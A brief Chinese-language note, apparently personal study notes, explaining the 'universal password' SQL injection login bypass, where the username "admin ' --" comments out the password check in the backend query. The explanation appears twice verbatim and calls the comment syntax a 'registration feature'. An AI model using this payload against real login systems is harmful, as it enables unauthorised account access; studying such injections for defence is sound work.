万能密码
username = admin ' --
password =''
后台接收数据
SELECT * FROM user WHERE username = 'admin ' -- ' and password ="123456"
然后利用了 mysql的注册功能
造成
只执行了
> SELECT * FROM user where username = "admin"
username = admin ' --
password =''
后台接收数据
SELECT * FROM user WHERE username = 'admin ' -- ' and password ="123456"
然后利用了 mysql的注册功能
造成
只执行了
> SELECT * FROM user where username = "admin"